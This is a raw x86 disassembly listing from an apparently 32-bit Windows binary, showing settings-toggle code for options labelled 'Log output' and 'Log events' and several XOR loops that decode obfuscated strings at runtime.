push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x100fffdf
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x100fffee
mov byte [esi + 0x1c60], 1
mov edx, 0x141
mov ecx, eax
call fcn.1015d500
test al, al
je 0x10100be8
mov eax, dword [esp + 0x40]
mov ecx, dword [eax + edi*4]
mov eax, dword [0x10353654]
cmp eax, dword [ecx + 4]
jle 0x10100046
push 0x10353654
call fcn.1019a827
add esp, 4
cmp dword [0x10353654], 0xffffffff
jne 0x10100046
push 0x101c6de0
call fcn.1019a573
add esp, 4
push 0x10353654
call fcn.1019a7d6
add esp, 4
mov ecx, dword [0x10224ca0]
mov edx, 0x10224718
push 1
push 0
mov al, byte [ecx + 0x3674]
and al, 1
mov byte [0x1035000c], al
mov eax, dword [ecx + 0x3674]
mov ecx, str.Log_output
shr eax, 1
and al, 1
cmp dword [0x1022472c], 0xf
mov byte [0x1035000d], al
cmova edx, dword [0x10224718]
call fcn.1016df70
test al, al
je 0x1010013c
push 0
push 0x101d04ee
mov ecx, 0x10224718
call fcn.10022cd0
xor esi, esi
nop dword [eax]
nop dword [eax + eax]
mov ecx, dword [esi*4 + 0x101ef53c]
lea eax, [esp + 0xd4]
push eax
mov dword [esp + 0xd8], 0
mov dword [esp + 0xdc], 0
mov dl, byte [esi + 0x1035000c]
push 1
call fcn.1017c8e0
test al, al
je 0x101000f6
cmp byte [esi + 0x1035000c], 0
sete al
mov byte [esi + 0x1035000c], al
inc esi
cmp esi, 2
jb 0x101000b0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x10100120
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x10100130
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
xor esi, esi
nop
test esi, esi
jne 0x10100154
push esi
push 0x101d04ee
mov ecx, 0x10224718
call fcn.10022cd0
cmp byte [esi + 0x1035000c], 0
je 0x101003ac
cmp dword [0x10224728], 0
xorps xmm0, xmm0
mov edx, dword [esi*4 + 0x101ef53c]
je 0x10100216
or ebx, 1
mov dword [esp + 0x76c], 2
movups xmmword [esp + 0x75c], xmm0
mov eax, 0x202c
mov dword [esp + 0x770], 0xf
or ebx, 2
mov word [esp + 0x75c], ax
push edx
lea ecx, [esp + 0x760]
mov byte [esp + 0x762], 0
mov dword [esp + 0x20], ebx
call fcn.10020800
mov dword [esp + 0x754], 0
xorps xmm0, xmm0
movups xmmword [esp + 0x744], xmm0
mov dword [esp + 0x758], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x744], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x754], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [esp + 0x744]
jmp 0x1010025e
mov ecx, edx
mov dword [esp + 0x8a8], 0
or ebx, 4
mov dword [esp + 0x8ac], 0
mov dword [esp + 0x1c], ebx
movups xmmword [esp + 0x898], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10100240
sub ecx, edi
push ecx
push edx
lea ecx, [esp + 0x8a0]
call fcn.10027940
lea eax, [esp + 0x898]
push eax
mov ecx, 0x10224718
call fcn.10020870
test bl, 4
je 0x101002cf
mov ecx, dword [esp + 0x8ac]
and ebx, 0xfffffffb
mov dword [esp + 0x1c], ebx
cmp ecx, 0xf
jbe 0x101002b1
mov edx, dword [esp + 0x898]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x101002a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov dword [esp + 0x8a8], 0
mov dword [esp + 0x8ac], 0xf
mov byte [esp + 0x898], 0
test bl, 2
je 0x10100335
mov ecx, dword [esp + 0x758]
and ebx, 0xfffffffd
mov dword [esp + 0x1c], ebx
cmp ecx, 0xf
jbe 0x10100317
mov edx, dword [esp + 0x744]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1010030d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov dword [esp + 0x754], 0
mov dword [esp + 0x758], 0xf
mov byte [esp + 0x744], 0
test bl, 1
je 0x1010039b
mov ecx, dword [esp + 0x770]
and ebx, 0xfffffffe
mov dword [esp + 0x1c], ebx
cmp ecx, 0xf
jbe 0x1010037d
mov edx, dword [esp + 0x75c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10100373
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov dword [esp + 0x76c], 0
mov dword [esp + 0x770], 0xf
mov byte [esp + 0x75c], 0
mov ecx, dword [0x10224ca0]
mov eax, dword [ecx + 0x3674]
bts eax, esi
jmp 0x101003bb
mov ecx, dword [0x10224ca0]
mov eax, dword [ecx + 0x3674]
btr eax, esi
inc esi
mov dword [ecx + 0x3674], eax
cmp esi, 2
jb 0x10100140
mov eax, dword [esp + 0x40]
mov ecx, dword [0x10225d4c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10353634]
cmp eax, dword [ecx + 4]
jle 0x10100415
push 0x10353634
call fcn.1019a827
add esp, 4
cmp dword [0x10353634], 0xffffffff
jne 0x10100415
push 0x101c6d80
call fcn.1019a573
add esp, 4
push 0x10353634
call fcn.1019a7d6
add esp, 4
mov ecx, dword [0x10224ca0]
mov edx, 0x10224b60
push 1
push 0
mov al, byte [ecx + 0x3678]
and al, 1
mov byte [0x1035003c], al
mov eax, dword [ecx + 0x3678]
shr eax, 1
and al, 1
mov byte [0x1035003d], al
mov eax, dword [ecx + 0x3678]
shr eax, 2
and al, 1
mov byte [0x1035003e], al
mov eax, dword [ecx + 0x3678]
shr eax, 3
and al, 1
mov byte [0x1035003f], al
mov eax, dword [ecx + 0x3678]
mov ecx, str.Log_events
shr eax, 4
and al, 1
cmp dword [0x10224b74], 0xf
mov byte [0x10350040], al
cmova edx, dword [0x10224b60]
call fcn.1016df70
test al, al
je 0x1010053c
push 0
push 0x101d04ee
mov ecx, 0x10224b60
call fcn.10022cd0
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov ecx, dword [esi*4 + 0x101ee318]
lea eax, [esp + 0xdc]
push eax
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 0
mov dl, byte [esi + 0x1035003c]
push 1
call fcn.1017c8e0
test al, al
je 0x101004f6
cmp byte [esi + 0x1035003c], 0
sete al
mov byte [esi + 0x1035003c], al
inc esi
cmp esi, 5
jb 0x101004b0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x10100520
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x10100530
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
xor esi, esi
nop
test esi, esi
jne 0x10100554
push esi
push 0x101d04ee
mov ecx, 0x10224b60
call fcn.10022cd0
cmp byte [esi + 0x1035003c], 0
je 0x101007ac
cmp dword [0x10224b70], 0
xorps xmm0, xmm0
mov edx, dword [esi*4 + 0x101ee318]
je 0x10100616
or ebx, 8
mov dword [esp + 0x79c], 2
movups xmmword [esp + 0x78c], xmm0
mov eax, 0x202c
mov dword [esp + 0x7a0], 0xf
or ebx, 0x10
mov word [esp + 0x78c], ax
push edx
lea ecx, [esp + 0x790]
mov byte [esp + 0x792], 0
mov dword [esp + 0x20], ebx
call fcn.10020800
mov dword [esp + 0x784], 0
xorps xmm0, xmm0
movups xmmword [esp + 0x774], xmm0
mov dword [esp + 0x788], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x774], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x784], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [esp + 0x774]
jmp 0x1010065e
mov ecx, edx
mov dword [esp + 0x8c0], 0
or ebx, 0x20
mov dword [esp + 0x8c4], 0
mov dword [esp + 0x1c], ebx
movups xmmword [esp + 0x8b0], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10100640
sub ecx, edi
push ecx
push edx
lea ecx, [esp + 0x8b8]
call fcn.10027940
lea eax, [esp + 0x8b0]
push eax
mov ecx, 0x10224b60
call fcn.10020870
test bl, 0x20
je 0x101006cf
mov ecx, dword [esp + 0x8c4]
and ebx, 0xffffffdf
mov dword [esp + 0x1c], ebx
cmp ecx, 0xf
jbe 0x101006b1
mov edx, dword [esp + 0x8b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x101006a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov dword [esp + 0x8c0], 0
mov dword [esp + 0x8c4], 0xf
mov byte [esp + 0x8b0], 0
test bl, 0x10
je 0x10100735
mov ecx, dword [esp + 0x788]
and ebx, 0xffffffef
mov dword [esp + 0x1c], ebx
cmp ecx, 0xf
jbe 0x10100717
mov edx, dword [esp + 0x774]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1010070d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov dword [esp + 0x784], 0
mov dword [esp + 0x788], 0xf
mov byte [esp + 0x774], 0
test bl, 8
je 0x1010079b
mov ecx, dword [esp + 0x7a0]
and ebx, 0xfffffff7
mov dword [esp + 0x1c], ebx
cmp ecx, 0xf
jbe 0x1010077d
mov edx, dword [esp + 0x78c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10100773
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov dword [esp + 0x79c], 0
mov dword [esp + 0x7a0], 0xf
mov byte [esp + 0x78c], 0
mov ecx, dword [0x10224ca0]
mov eax, dword [ecx + 0x3678]
bts eax, esi
jmp 0x101007bb
mov ecx, dword [0x10224ca0]
mov eax, dword [ecx + 0x3678]
btr eax, esi
inc esi
mov dword [ecx + 0x3678], eax
cmp esi, 5
jb 0x10100540
cmp byte [0x101effcb], 0
movups xmm0, xmmword [str.eABVF]
mov eax, dword [0x101effc8]
mov esi, dword [0x10225d40]
movups xmmword [esp + 0x87c], xmm0
mov dword [esp + 0x894], eax
movq xmm0, qword [0x101effc0]
movq qword [esp + 0x88c], xmm0
je 0x1010099d
xor edx, edx
mov dword [esp + 0x10], edx
cmp esi, 2
jl 0x10100954
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x87c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x87c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x880]
xorps xmm1, xmm0
movd dword [esp + edx + 0x880], xmm1
add edx, 8
cmp edx, 0x18
jl 0x10100840
mov dword [esp + 0x10], edx
cmp edx, 0x1c
jge 0x1010099d
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x87c], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x1c
jl 0x10100954
mov ecx, dword [0x10224ca0]
add ecx, 0x367c
mov dword [esp + 0x14], ecx
jmp 0x101009ab
mov eax, dword [0x10224ca0]
add eax, 0x367c
mov dword [esp + 0x14], eax
mov ax, word [0x101ef820]
xor edx, edx
mov word [esp + 0x378], ax
mov al, byte [0x101ef822]
mov byte [esp + 0x37a], al
mov dword [esp + 0x10], edx
movups xmm0, xmmword [str._AZ_YY]
movups xmmword [esp + 0x368], xmm0
cmp esi, 2
jl 0x10100b24
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x368]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x368], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x36c]
xorps xmm1, xmm0
movd dword [esp + edx + 0x36c], xmm1
add edx, 8
cmp edx, 0x10
jl 0x10100a10
mov dword [esp + 0x10], edx
cmp edx, 0x13
jge 0x10100b5b
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x368], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x13
jl 0x10100b24
xor esi, esi
lea edx, [esp + 0x87c]
cmp byte [esp + 0x87c], 0
je 0x10100b86
nop
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10100b75
sub ecx, edi
inc edx
add edx, ecx
inc esi
cmp byte [edx], al
jne 0x10100b70
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x87c]
push 1
push 0xffffffffffffffff
push esi
push eax
push 0x1016ee10
lea ecx, [esp + 0x37c]
call fcn.1016ee70
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x10100bcc
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x10100bdc
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
mov ecx, dword [0x103501f8]
mov eax, dword [ecx + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [ecx + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x10100c52
movss xmm0, dword [ecx + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
mov ax, word [0x101ef7a4]
xor ebx, ebx
movq xmm0, qword [0x101ef79c]
mov word [esp + 0x188], ax
mov al, byte [0x101ef7a6]
mov byte [esp + 0x18a], al
movq qword [esp + 0x180], xmm0
nop
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x180], cl
inc ebx
cmp ebx, 0xb
jl 0x10100c80
xorps xmm0, xmm0
mov dword [esp + 0x600], 0
lea ecx, [esp + 0x180]
mov dword [esp + 0x604], 0
movups xmmword [esp + 0x5f0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10100cd7
sub ecx, edx
lea eax, [esp + 0x180]
push ecx
push eax
lea ecx, [esp + 0x5f8]
call fcn.10027940
mov eax, dword [0x103501f8]
lea ecx, [esp + 0x5f0]
cmp dword [esp + 0x604], 0xf
cmova ecx, dword [esp + 0x5f0]
mov esi, dword [eax + 0x1bec]
mov eax, dword [esi + 0xe8]
add esi, 0xe0
mov edx, dword [esi]
push dword [eax + edx*4 - 4]
xor edx, edx
call fcn.101501c0
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x10100d5f
inc ecx
test edi, edi
je 0x10100d4d
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x10100d52
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
mov dword [eax + ecx*4], edx
inc dword [esi]
mov ecx, dword [esp + 0x604]
cmp ecx, 0xf
jbe 0x10100da9
mov edx, dword [esp + 0x5f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10100d9f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov ax, word [0x101efc9c]
movq xmm0, qword [0x101efc94]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x600], 0
mov dword [esp + 0x604], 0xf
mov byte [esp + 0x5f0], 0
movq qword [esp + 0x4c4], xmm0
mov word [esp + 0x4cc], ax
test ah, ah
je 0x10100e1e
xor ebx, ebx
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x4c4], cl
inc ebx
cmp ebx, 0xa
jl 0x10100df2
xorps xmm0, xmm0
mov dword [esp + 0x618], 0
lea ecx, [esp + 0x4c4]
mov dword [esp + 0x61c], 0
movups xmmword [esp + 0x608], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10100e50
sub ecx, edx
lea eax, [esp + 0x4c4]
push ecx
push eax
lea ecx, [esp + 0x610]
call fcn.10027940
cmp dword [esp + 0x61c], 0xf
lea ecx, [esp + 0x608]
lea edx, [esi + 0x3654]
cmova ecx, dword [esp + 0x608]
call fcn.1016d3d0
mov ecx, dword [esp + 0x61c]
cmp ecx, 0xf
jbe 0x10100ecc
mov edx, dword [esp + 0x608]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10100ec2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov ecx, dword [0x103501f8]
mov dword [esp + 0x618], 0
mov dword [esp + 0x61c], 0xf
mov byte [esp + 0x608], 0
mov eax, dword [ecx + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [ecx + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x10100f54
movss xmm0, dword [ecx + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
push 1
push 0
lea edx, [esp + 0x6c]
mov dword [esp + 0x6c], 0
mov ecx, 0x101ec3bc
mov dword [esp + 0x70], 0
call fcn.1016bb30
test al, al
je 0x10100fc8
mov esi, dword [0x103501f8]
xor edx, edx
mov eax, dword [esi + 0x1bec]
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x10100fb0
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x10100fbf
mov byte [esi + 0x1c60], 1
xor edx, edx
mov ecx, eax
call fcn.1015d1c0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1d30]
cmp eax, dword [esi + 0x1d3c]
jg 0x10100feb
mov dword [esi + 0x1c74], 0
jmp 0x10101ac6
mov eax, dword [esi + 0x1bec]
xor edx, edx
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x1010101b
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x1010102a
mov byte [esi + 0x1c60], 1
mov edx, 0x141
mov ecx, eax
call fcn.1015d500
test al, al
je 0x10101ac6
mov eax, dword [0x101ef9c8]
movq xmm0, qword [0x101ef9c0]
mov esi, dword [0x10224ca0]
mov edi, dword [0x10225d40]
mov dword [esp + 0x2d0], eax
mov ax, word [0x101ef9cc]
movq qword [esp + 0x2c8], xmm0
mov word [esp + 0x2d4], ax
test ah, ah
je 0x101011cd
xor eax, eax
mov dword [esp + 0x14], eax
cmp edi, 2
jl 0x10101198
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ef9c0]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x2c8], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x2cc]
xorps xmm1, xmm0
movd dword [esp + 0x2cc], xmm1
mov ebx, dword [esp + 0x14]
nop dword [eax]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x2c8], cl
inc ebx
cmp ebx, 0xe
jl 0x101011a0
xorps xmm0, xmm0
mov dword [esp + 0x630], 0
lea ecx, [esp + 0x2c8]
mov dword [esp + 0x634], 0
movups xmmword [esp + 0x620], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x101011f8
sub ecx, edx
lea eax, [esp + 0x2c8]
push ecx
push eax
lea ecx, [esp + 0x628]
call fcn.10027940
cmp dword [esp + 0x634], 0xf
lea ecx, [esp + 0x620]
lea edx, [esi + 0x3658]
cmova ecx, dword [esp + 0x620]
call fcn.1016d3d0
mov ecx, dword [esp + 0x634]
cmp ecx, 0xf
jbe 0x10101274
mov edx, dword [esp + 0x620]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1010126a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov ax, word [0x101efb24]
movq xmm0, qword [0x101efb1c]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x630], 0
mov dword [esp + 0x634], 0xf
mov byte [esp + 0x620], 0
movq qword [esp + 0x4d0], xmm0
mov word [esp + 0x4d8], ax
test ah, ah
je 0x101012ec
xor ebx, ebx
nop dword [eax]
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x4d0], cl
inc ebx
cmp ebx, 0xa
jl 0x101012c0
xorps xmm0, xmm0
mov dword [esp + 0x4a4], 0
lea ecx, [esp + 0x4d0]
mov dword [esp + 0x4a8], 0
movups xmmword [esp + 0x494], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10101317
sub ecx, edx
lea eax, [esp + 0x4d0]
push ecx
push eax
lea ecx, [esp + 0x49c]
call fcn.10027940
cmp dword [esp + 0x4a8], 0xf
lea ecx, [esp + 0x494]
lea edx, [esi + 0x3659]
cmova ecx, dword [esp + 0x494]
call fcn.1016d3d0
mov ecx, dword [esp + 0x4a8]
cmp ecx, 0xf
jbe 0x10101393
mov edx, dword [esp + 0x494]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10101389
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov esi, dword [0x10224ca0]
mov al, byte [0x101eec5c]
add esi, 0x3656
movq xmm0, qword [0x101eec54]
xor ebx, ebx
mov byte [esp + 0x1ac], al
movq qword [esp + 0x1a4], xmm0
mov byte [esp + 0x494], 0
mov dword [esp + 0x4a8], 0xf
mov dword [esp + 0x4a4], 0
nop dword [eax]
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x1a4], cl
inc ebx
cmp ebx, 9
jl 0x101013e0
xorps xmm0, xmm0
mov dword [esp + 0x648], 0
lea ecx, [esp + 0x1a4]
mov dword [esp + 0x64c], 0
